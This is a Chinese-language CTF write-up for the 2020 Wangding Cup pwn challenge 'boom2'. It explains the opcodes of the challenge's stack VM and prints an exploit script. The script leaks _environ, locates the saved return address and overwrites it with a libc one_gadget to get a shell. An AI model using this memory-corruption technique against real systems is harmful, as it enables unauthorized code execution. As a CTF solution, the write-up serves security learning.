0%

2020 网鼎杯 boom2

boom2

题目描述

boom2是需要逆向的一道题目:

我只说几个关键的逆向:

大体机制

本题主要是一个栈空间,附带一个寄存器。

我们输入指令的时候需要一个指令占64bit,也就是8个字节

push指令–13

直接p64(13)就是push。

image-20200511103128303

pop操作指令–后面全都是

直接p64(指令),就是寄存器和pop出值得运算

image-20200511103209604

给寄存器赋值的方式

image-20200511103333685

指令0:p64(0)+p64(offset) 把相对于bp为offset的地址赋值给寄存器

指令1:p64(1)+p64(num) 把num赋值给寄存器

给pop出的地址赋值

image-20200511103502751

直接p64(11)就是把pop出的一个地址,将寄存器的值赋值给pop出地址中的内容。

思路

有了这些东西,思路就很简单了,找到_environ的值,计算出EIP的值,更换成one_gadget。

exp 主体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
one = 0xf1147
ru("Input your code> ")
payload = p64(1)+p64(18446744073709551376)#tmp=-0xf0
payload += p64(13) #push -0xf0
payload += p64(0)+p64(18446744073709271013)#0x7f96e2df6010 get _environ address
payload += p64(9) #get _environ
payload += p64(25) #_environ-0xf0(EIP)
payload += p64(13) #push EIP
payload += p64(1)+p64(one)#tmp= onegadget offset
payload += p64(13) #push tmp
payload += p64(0)+p64(18446744073708775934)#libc_start
payload += p64(25) #tmp = libc_start+tmp
payload += p64(11) #edit EIP
debug()
s(payload)
getshell()

最后:

image-20200511103849331